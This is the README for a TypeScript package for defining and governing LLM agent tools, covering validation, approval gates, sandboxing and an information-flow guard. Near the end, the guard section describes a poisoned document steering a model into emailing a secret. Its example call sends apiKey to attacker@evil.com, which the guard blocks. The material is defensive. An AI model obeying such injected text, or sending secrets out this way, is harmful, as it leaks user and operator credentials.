@elsium-ai/tools
Tool definition, execution, and formatting for ElsiumAI.
Install
npm install @elsium-ai/tools @elsium-ai/core
zod is a required peer dependency:
npm install zod
What’s Inside
| Category | Exports | Description |
|---|---|---|
| Define | defineTool, ToolConfig, ToolContext, Tool, ToolExecutionResult |
Create type-safe tools with Zod schema validation, automatic input/output parsing, timeout handling, and abort support |
| Toolkit | createToolkit, Toolkit |
Group related tools into named collections with lookup-by-name execution and batch definition export |
| Format | formatToolResult, formatToolResultAsText |
Convert raw execution results into the ToolResult wire format or plain-text strings for logging |
| Built-in Tools | httpFetchTool, calculatorTool, jsonParseTool, currentTimeTool |
Ready-to-use tools for HTTP requests, math evaluation, JSON extraction, and current time |
| Guards | withCapability, withFlowControl, CapabilityGuardOptions, FlowGuardOptions |
Wrap a tool so the caller’s capability token — and the provenance of everything already in the context — is checked before the handler runs |
Define
The core module for creating tools. Every tool is built from a ToolConfig passed to defineTool, which returns a fully-formed Tool object with validation, execution, and schema export capabilities.
ToolConfig<TInput, TOutput>
Configuration object passed to defineTool.
interface ToolConfig<TInput = unknown, TOutput = unknown> {
name: string
description: string
input: z.ZodType<TInput>
output?: z.ZodType<TOutput>
handler: (input: TInput, context: ToolContext) => Promise<TOutput>
timeoutMs?: number
}
| Field | Type | Description |
|---|---|---|
name | string | Unique identifier for the tool (used in LLM tool-call routing) |
description | string | Human-readable description sent to the model |
input | z.ZodType<TInput> | Zod schema used to validate and parse incoming input |
output | z.ZodType<TOutput> (optional) | Zod schema used to validate handler output; omit to skip output validation |
handler | (input: TInput, context: ToolContext) => Promise<TOutput> | Async function that performs the tool’s work |
timeoutMs | number (optional) | Maximum execution time in milliseconds. Defaults to 30000 |
ToolContext
Contextual metadata passed to every handler invocation.
interface ToolContext {
toolCallId: string
traceId?: string
signal?: AbortSignal
}
| Field | Type | Description |
|---|---|---|
toolCallId | string | Unique identifier for this specific tool call |
traceId | string (optional) | Distributed-tracing identifier for observability |
signal | AbortSignal (optional) | Abort signal for cancellation; auto-generated from timeoutMs if not provided |
Tool<TInput, TOutput>
The object returned by defineTool. Exposes read-only metadata, an execute method, and a toDefinition method for LLM integration.
interface Tool<TInput = unknown, TOutput = unknown> {
readonly name: string
readonly description: string
readonly inputSchema: z.ZodType<TInput>
readonly outputSchema?: z.ZodType<TOutput>
readonly timeoutMs: number
readonly sandbox?: SandboxConfig
readonly sideEffectLevel?: SideEffectLevel
execute(
input: unknown,
context?: Partial<ToolContext>,
): Promise<ToolExecutionResult<TOutput>>
toDefinition(): ToolDefinition
dispose?(): Promise<void>
}
| Member | Description |
|---|---|
name | The tool name from the config |
description | The tool description from the config |
inputSchema | The Zod schema used for input validation |
outputSchema | The Zod schema used for output validation (if provided) |
timeoutMs | Effective timeout in milliseconds |
sandbox | Sandbox config when the tool runs in an isolated worker or process (if provided) |
sideEffectLevel | Side-effect classification (read | write | destructive) when set |
execute(input, context?) | Validate input, run the handler, validate output, and return a ToolExecutionResult |
toDefinition() | Convert the tool to a ToolDefinition (JSON Schema) for sending to an LLM |
dispose() | Optional cleanup hook that tears down sandbox resources |
ToolExecutionResult<T>
The structured result returned by Tool.execute.
interface ToolExecutionResult<T = unknown> {
success: boolean
data?: T
error?: string
toolCallId: string
durationMs: number
dryRun?: boolean // set when a dry run was performed
idempotent?: boolean // set when output came from the idempotency store
preconditionFailures?: PreconditionFailure[]
approvalDenied?: boolean
approvalReason?: string
}
| Field | Type | Description |
|---|---|---|
success | boolean | true if the handler completed without errors and output validated |
data | T (optional) | The handler return value, present when success is true |
error | string (optional) | Error message, present when success is false |
toolCallId | string | Identifier for the tool call that produced this result |
durationMs | number | Wall-clock execution time in milliseconds |
dryRun | boolean (optional) | Set when a dry run was performed instead of the real handler |
idempotent | boolean (optional) | Set when the output came from the idempotency store |
preconditionFailures | PreconditionFailure[] (optional) | Preconditions that failed and blocked execution |
approvalDenied | boolean (optional) | Set when an approval request was denied |
approvalReason | string (optional) | Reason supplied with the approval decision |
defineTool(config)
Create a validated, executable tool from a configuration object.
function defineTool<TInput, TOutput>(
config: ToolConfig<TInput, TOutput>,
): Tool<TInput, TOutput>
The returned Tool will:
- Parse and validate all input against
config.inputbefore calling the handler. - Enforce a timeout (default 30 s) via
AbortController. - Optionally validate handler output against
config.output. - Return a
ToolExecutionResultthat always includessuccess,toolCallId, anddurationMs— never throws.
Example
import { defineTool } from '@elsium-ai/tools'
import { z } from 'zod'
const weatherTool = defineTool({
name: 'get_weather',
description: 'Get current weather for a city',
input: z.object({
city: z.string().describe('City name'),
units: z.enum(['celsius', 'fahrenheit']).optional(),
}),
output: z.object({
temperature: z.number(),
condition: z.string(),
}),
timeoutMs: 10_000,
handler: async ({ city, units }, context) => {
// context.signal is available for fetch cancellation
const data = await fetchWeatherAPI(city, { signal: context.signal })
return { temperature: data.temp, condition: data.summary }
},
})
// Execute the tool
const result = await weatherTool.execute({ city: 'London' })
// { success: true, data: { temperature: 18, condition: 'cloudy' }, toolCallId: 'tc_...', durationMs: 240 }
// Export JSON Schema definition for an LLM
const definition = weatherTool.toDefinition()
// { name: 'get_weather', description: '...', inputSchema: { type: 'object', ... } }
Toolkit
Group multiple tools into a named collection for organized lookup and batch execution.
Toolkit
The object returned by createToolkit.
interface Toolkit {
readonly name: string
readonly tools: ReadonlyArray<Tool>
getTool(name: string): Tool | undefined
execute(
toolName: string,
input: unknown,
context?: Partial<ToolContext>,
): Promise<ToolExecutionResult>
toDefinitions(): ToolDefinition[]
}
| Member | Description |
|---|---|
name | The toolkit name |
tools | Read-only array of all tools in the toolkit |
getTool(name) | Look up a tool by name; returns undefined if not found |
execute(toolName, input, context?) | Find the named tool and execute it; returns an error result if the tool does not exist |
toDefinitions() | Export all tools as ToolDefinition[] for sending to an LLM |
createToolkit(name, tools)
Create a named toolkit from an array of tools.
function createToolkit(name: string, tools: Tool[]): Toolkit
| Parameter | Type | Description |
|---|---|---|
name | string | A descriptive name for the toolkit |
tools | Tool[] | Array of tools to include |
Returns a Toolkit with O(1) tool lookup by name.
Example
import { defineTool, createToolkit } from '@elsium-ai/tools'
import { z } from 'zod'
const addTool = defineTool({
name: 'add',
description: 'Add two numbers',
input: z.object({ a: z.number(), b: z.number() }),
handler: async ({ a, b }) => ({ sum: a + b }),
})
const multiplyTool = defineTool({
name: 'multiply',
description: 'Multiply two numbers',
input: z.object({ a: z.number(), b: z.number() }),
handler: async ({ a, b }) => ({ product: a * b }),
})
const mathKit = createToolkit('math', [addTool, multiplyTool])
// Look up a tool
const tool = mathKit.getTool('add')
// Execute by name
const result = await mathKit.execute('multiply', { a: 6, b: 7 })
// { success: true, data: { product: 42 }, toolCallId: 'tc_...', durationMs: 1 }
// Export all definitions for an LLM
const definitions = mathKit.toDefinitions()
Format
Utilities for converting ToolExecutionResult into formats suitable for LLM message construction or plain-text logging.
formatToolResult(result)
Convert a ToolExecutionResult into the ToolResult wire format expected by @elsium-ai/core message types.
function formatToolResult(result: ToolExecutionResult): ToolResult
| Parameter | Type | Description |
|---|---|---|
result | ToolExecutionResult | The raw execution result from Tool.execute |
Returns a ToolResult:
// from @elsium-ai/core
interface ToolResult {
toolCallId: string
content: string
isError?: boolean
}
On success, content is the stringified data (or the raw string if data is already a string). On failure, content is prefixed with "Error: " and isError is true.
Example
import { defineTool, formatToolResult } from '@elsium-ai/tools'
import { z } from 'zod'
const tool = defineTool({
name: 'greet',
description: 'Return a greeting',
input: z.object({ name: z.string() }),
handler: async ({ name }) => ({ message: `Hello, ${name}!` }),
})
const result = await tool.execute({ name: 'World' })
const toolResult = formatToolResult(result)
// {
// toolCallId: 'tc_...',
// content: '{\n "message": "Hello, World!"\n}'
// }
formatToolResultAsText(result)
Convert a ToolExecutionResult into a plain-text string, useful for logging or display.
function formatToolResultAsText(result: ToolExecutionResult): string
| Parameter | Type | Description |
|---|---|---|
result | ToolExecutionResult | The raw execution result from Tool.execute |
Returns the stringified data on success, or a string prefixed with "[Tool Error] " on failure.
Example
import { defineTool, formatToolResultAsText } from '@elsium-ai/tools'
import { z } from 'zod'
const tool = defineTool({
name: 'divide',
description: 'Divide two numbers',
input: z.object({ a: z.number(), b: z.number() }),
handler: async ({ a, b }) => {
if (b === 0) throw new Error('Division by zero')
return { quotient: a / b }
},
})
const ok = await tool.execute({ a: 10, b: 3 })
console.log(formatToolResultAsText(ok))
// '{\n "quotient": 3.3333333333333335\n}'
const err = await tool.execute({ a: 10, b: 0 })
console.log(formatToolResultAsText(err))
// '[Tool Error] Division by zero'
Built-in Tools
Ready-to-use tool instances for common operations. Each is a Tool created with defineTool and can be used directly or added to a toolkit.
httpFetchTool
Fetch content from a URL via HTTP GET. Hardened against SSRF: blocks non-HTTP(S) protocols and requests to private/internal network addresses (loopback, RFC 1918 ranges, link-local), strips sensitive headers (cookie, authorization, x-api-key, etc.), and validates redirect Location headers before following. Responses larger than 50 KB are truncated.
| Property | Value |
|---|---|
| Name | http_fetch |
| Timeout | 15 000 ms |
Input schema
z.object({
url: z.string().url(), // The URL to fetch
headers: z.record(z.string()) // Optional HTTP headers
.optional(),
})
Output schema
z.object({
status: z.number(), // HTTP status code
body: z.string(), // Response body (truncated at 50 KB)
contentType: z.string(), // Content-Type header value
})
Example
import { httpFetchTool } from '@elsium-ai/tools'
const result = await httpFetchTool.execute({
url: 'https://api.example.com/data',
headers: { Accept: 'application/json' },
})
if (result.success) {
console.log(result.data.status) // 200
console.log(result.data.contentType) // 'application/json'
}
calculatorTool
Evaluate a mathematical expression safely using a custom tokenizer and recursive-descent parser — no eval(). Supports arithmetic operators (+, -, *, /, **, %), Math functions (sqrt, abs, round, floor, ceil, sin, cos, tan, log, log2, log10, exp, pow, min, max), and constants (PI, E).
| Property | Value |
|---|---|
| Name | calculator |
| Timeout | 30 000 ms (default) |
Input schema
z.object({
expression: z.string(), // The mathematical expression to evaluate
})
Output schema
z.object({
result: z.number(), // The computed result
})
Example
import { calculatorTool } from '@elsium-ai/tools'
const result = await calculatorTool.execute({
expression: 'sqrt(144) + 2 ** 3',
})
if (result.success) {
console.log(result.data.result) // 20
}
jsonParseTool
Parse a JSON string and optionally extract a value at a dot-separated path. Prototype-pollution keys (__proto__, constructor, prototype) are stripped during parsing.
| Property | Value |
|---|---|
| Name | json_parse |
| Timeout | 30 000 ms (default) |
Input schema
z.object({
json: z.string(), // The JSON string to parse
path: z.string().optional() // Dot-separated path (e.g. "data.items.0.name")
})
Output schema
z.object({
value: z.unknown(), // The extracted value (or the entire parsed object if no path)
})
Example
import { jsonParseTool } from '@elsium-ai/tools'
const result = await jsonParseTool.execute({
json: '{"users":[{"name":"Alice"},{"name":"Bob"}]}',
path: 'users.1.name',
})
if (result.success) {
console.log(result.data.value) // 'Bob'
}
currentTimeTool
Get the current date and time. Optionally specify an IANA timezone; defaults to UTC.
| Property | Value |
|---|---|
| Name | current_time |
| Timeout | 30 000 ms (default) |
Input schema
z.object({
timezone: z.string().optional(), // IANA timezone (e.g. "America/New_York")
})
Output schema
z.object({
iso: z.string(), // Locale-formatted date/time string
unix: z.number(), // Unix timestamp in seconds
timezone: z.string(), // The resolved timezone
})
Example
import { currentTimeTool } from '@elsium-ai/tools'
const result = await currentTimeTool.execute({ timezone: 'Europe/London' })
if (result.success) {
console.log(result.data.iso) // '3/2/2026, 10:30:00 AM'
console.log(result.data.unix) // 1772540400
console.log(result.data.timezone) // 'Europe/London'
}
Retrieval Tool
Wrap a RetrieveFn into a knowledge-base search tool with a { query: string } input. The default name is search_knowledge and the default topK is 5. Results are rendered to a string via formatResult (a numbered, scored list by default).
| Export | Signature | Description |
|---|---|---|
createRetrievalTool | createRetrievalTool(config: RetrievalToolConfig): Tool | Build a knowledge-base search tool from a retrieve function |
Example
import { createRetrievalTool } from '@elsium-ai/tools'
const searchDocs = createRetrievalTool({
name: 'search_docs',
topK: 3,
retrieve: async (query, options) => {
return vectorStore.search(query, { topK: options?.topK })
// => RetrievalResult[]: { content, score, source?, metadata? }
},
})
Capability Guard
Opt-in wrapper that checks a @elsium-ai/core CapabilityToken before delegating to the inner tool. If a verifier is provided, the token is verified first; then canCallTool checks the token’s scope against the tool name (and optional dataClasses). A denied call resolves to a failure result (error: 'capability denied: ...') and invokes the optional onDeny callback. The wrapper preserves the inner tool’s metadata, toDefinition, and dispose.
| Export | Signature | Description |
|---|---|---|
withCapability | withCapability<TInput, TOutput>(tool: Tool, options: CapabilityGuardOptions): Tool | Wrap a tool so execution is gated on a CapabilityToken |
Example
import { withCapability } from '@elsium-ai/tools'
const guarded = withCapability(httpFetchTool, {
token, // CapabilityToken
verifier, // optional CapabilityVerifier
dataClasses: ['public'], // optional DataClass[]
onDeny: (event) => log.warn('denied', event),
})
await guarded.execute({ url: 'https://example.com' })
Tool Contracts
Side-effect governance for tools that mutate state. Declared on the ToolConfig and enforced by execute in this order: preconditions → approval → dry-run → idempotency → handler.
sideEffectLevel
'read' | 'write' | 'destructive' — classifies the tool’s impact. It drives default behavior for dry-run (skips the handler for non-read tools) and approval ('destructive' requires approval under the default 'auto' policy).
preconditions
An array of guard functions (or { name, check } objects) that must all pass before the handler runs. Each returns { ok: boolean, reason? }. Any failure resolves to a failure result carrying preconditionFailures.
defineTool({
name: 'transfer_funds',
description: 'Transfer money between accounts',
input: z.object({ from: z.string(), to: z.string(), amount: z.number() }),
sideEffectLevel: 'write',
preconditions: [
{ name: 'positive_amount', check: (input) => ({ ok: input.amount > 0, reason: 'amount must be positive' }) },
],
handler: async (input) => transfer(input),
})
dryRunHandler & dry run
Passing { dryRun: true } in the execution context triggers a dry run for tools whose sideEffectLevel is not 'read' (or any tool with no level set). The dryRunHandler produces a preview; the result is returned with dryRun: true and the real handler is never invoked.
const result = await transferFunds.execute(input, { dryRun: true })
// => { success: true, dryRun: true, data: <preview>, ... }
requireApproval
'auto' | 'always' | 'never' (default 'auto'). When approval is needed, execute calls context.requestApproval (an ApprovalHandler) with an ApprovalRequest. A non-approved decision resolves to a failure result with approvalDenied: true. Under 'auto', only 'destructive' tools require approval; 'always' forces it; 'never' disables it. If approval is required but no handler is wired, the call proceeds with a warning.
defineTool({
name: 'delete_account',
description: 'Permanently delete a user account',
input: z.object({ userId: z.string() }),
sideEffectLevel: 'destructive',
requireApproval: 'always',
handler: async (input) => deleteAccount(input.userId),
})
await deleteAccount.execute({ userId: 'u_1' }, {
requestApproval: async (req) => ({ status: 'approved', decidedBy: 'admin' }),
})
Idempotency
Supplying both idempotencyKey (derives a key from input) and idempotencyStore makes repeated calls return the cached output instead of re-running the handler. On a cache hit the result carries idempotent: true. createInMemoryIdempotencyStore provides a built-in store.
| Export | Signature | Description |
|---|---|---|
createInMemoryIdempotencyStore | createInMemoryIdempotencyStore(config?: InMemoryIdempotencyStoreConfig): IdempotencyStore | In-memory idempotency store (clock? injectable) |
import { defineTool, createInMemoryIdempotencyStore } from '@elsium-ai/tools'
const store = createInMemoryIdempotencyStore()
const charge = defineTool({
name: 'charge_card',
description: 'Charge a payment card',
input: z.object({ orderId: z.string(), amount: z.number() }),
sideEffectLevel: 'write',
idempotencyKey: (input) => input.orderId,
idempotencyStore: store,
handler: async (input) => paymentApi.charge(input),
})
await charge.execute({ orderId: 'o_1', amount: 50 }) // runs handler, persists output
await charge.execute({ orderId: 'o_1', amount: 50 }) // cache hit => { idempotent: true }
Sandbox
Instead of an inline handler, a tool can run its logic in an isolated worker or subprocess via the sandbox config. This provides crash, memory, and capability isolation for untrusted or risky code.
defineTool({
name: 'render_markdown',
description: 'Render markdown to HTML in an isolated worker',
input: z.object({ markdown: z.string() }),
sandbox: {
mode: 'worker', // 'worker' | 'process'
handler: new URL('./render-worker.js', import.meta.url),
capabilities: ['fs:read'], // network, fs:read, fs:write, subprocess, ...
timeoutMs: 5_000,
},
})
Under Bun, sandbox.mode: 'worker' has incomplete crash isolation (process.exit() inside the handler does not terminate the worker). Use mode: 'process' for full parity. Call tool.dispose() to tear down sandbox resources.
Types
Exported type definitions for tool configuration, governance, retrieval, and sandboxing.
| Export | Description |
|---|---|
ToolConfig | Tool definition: name, description, input/parameters (Zod), output? (Zod), handler?, timeoutMs?, sandbox?, sideEffectLevel?, idempotencyKey?, idempotencyStore?, preconditions?, dryRunHandler?, requireApproval? |
Tool | Built tool instance: metadata + execute, toDefinition, dispose? |
ToolContext | Context passed to handlers: toolCallId, traceId?, signal?, dryRun?, requestApproval? |
ToolExecutionResult | Execution outcome: success, data?, error?, toolCallId, durationMs, plus governance flags |
Toolkit | Tool collection: name, tools, getTool, execute, toDefinitions |
SideEffectLevel | 'read' | 'write' | 'destructive' |
RequireApproval | 'auto' | 'always' | 'never' |
ApprovalRequest | Approval input: toolName, toolCallId, traceId?, sideEffectLevel?, input, reason? |
ApprovalDecision | Approval outcome: status ('approved' | 'rejected'), reason?, decidedBy? |
ApprovalHandler | (request: ApprovalRequest) => Promise<ApprovalDecision> | ApprovalDecision |
PreconditionFn | (input, ctx) => PreconditionResult | Promise<PreconditionResult> |
PreconditionResult | { ok: boolean, reason? } |
PreconditionFailure | { name: string, reason: string } |
IdempotencyStore | Store interface: get, put, delete |
IdempotencyEntry | Stored record: key, toolName, output, recordedAt |
InMemoryIdempotencyStoreConfig | In-memory store config: clock? |
CapabilityGuardOptions | withCapability options: token, verifier?, dataClasses?, onDeny? |
CapabilityDenialEvent | Denial event: toolName, tokenId, subject, reason, detail? |
RetrievalToolConfig | Retrieval tool config: name?, description?, retrieve, topK?, formatResult? |
RetrievalResult | Retrieval hit: content, score, source?, metadata? |
RetrieveFn | (query: string, options?: { topK?: number }) => Promise<RetrievalResult[]> |
Capability | Sandbox capability: 'network' | 'fs:read' | 'fs:write' | 'subprocess' | scoped variants |
SandboxConfig | Sandbox config: mode ('worker' | 'process'), handler, timeoutMs?, capabilities?, env? |
SandboxRunner | Runner interface: invoke, dispose |
Information-Flow Guard
withFlowControl()
function withFlowControl<TInput, TOutput>(
tool: Tool<TInput, TOutput>,
options: FlowGuardOptions,
): Tool<TInput, TOutput>
Gates a tool on the accumulated provenance of the context it runs in — the half withCapability cannot cover.
A capability token asks “may this agent call send_email?” and the answer is yes; it is a tool the agent is meant to use. This asks a different question: given everything that has entered the context by now, may data reach that destination at all? When a poisoned document convinces the model to call send_email with a secret in the body, the capability check passes and this one does not.
| Field | Type | Description |
|---|---|---|
tracker | FlowTracker | Required. The per-run provenance accumulator |
sink | string | Sink identity. Defaults to tool:<name>. Set to network:api.stripe.com to let one rule govern every tool reaching that host |
outputClasses | readonly string[] | Classes this tool’s output carries — a tool reading customer records should declare ['pii'] |
outputOrigin | Origin | Trust level of the output. Defaults to 'untrusted': a tool result is data from outside the operator’s control, even when the tool itself is trusted |
onDeny | (decision: FlowDecision) => void | Called on denial |
import { createFlowPolicy, createFlowTracker, lethalTrifectaRule } from '@elsium-ai/core'
import { withFlowControl } from '@elsium-ai/tools'
const tracker = createFlowTracker({ policy: createFlowPolicy([lethalTrifectaRule()]) })
const guarded = withFlowControl(sendEmail, { tracker })
const result = await guarded.execute({ to: 'attacker@evil.com', body: apiKey })
// { success: false, error: 'Flow denied: context holds sensitive data alongside...' }
Denial returns an unsuccessful ToolExecutionResult rather than throwing, matching withCapability — the agent loop sees a failed tool call and carries on, so a blocked exfiltration attempt does not crash the run. The handler never executes, so the side effect never happens.
On success the tool’s output is recorded into the tracker before anything downstream can read it. See Information-Flow Control for labels, policies and the tracker.
Part of ElsiumAI
This package is the tool definition layer of the ElsiumAI framework. See the Getting Started guide or the Fundamentals for comprehensive coverage of every feature.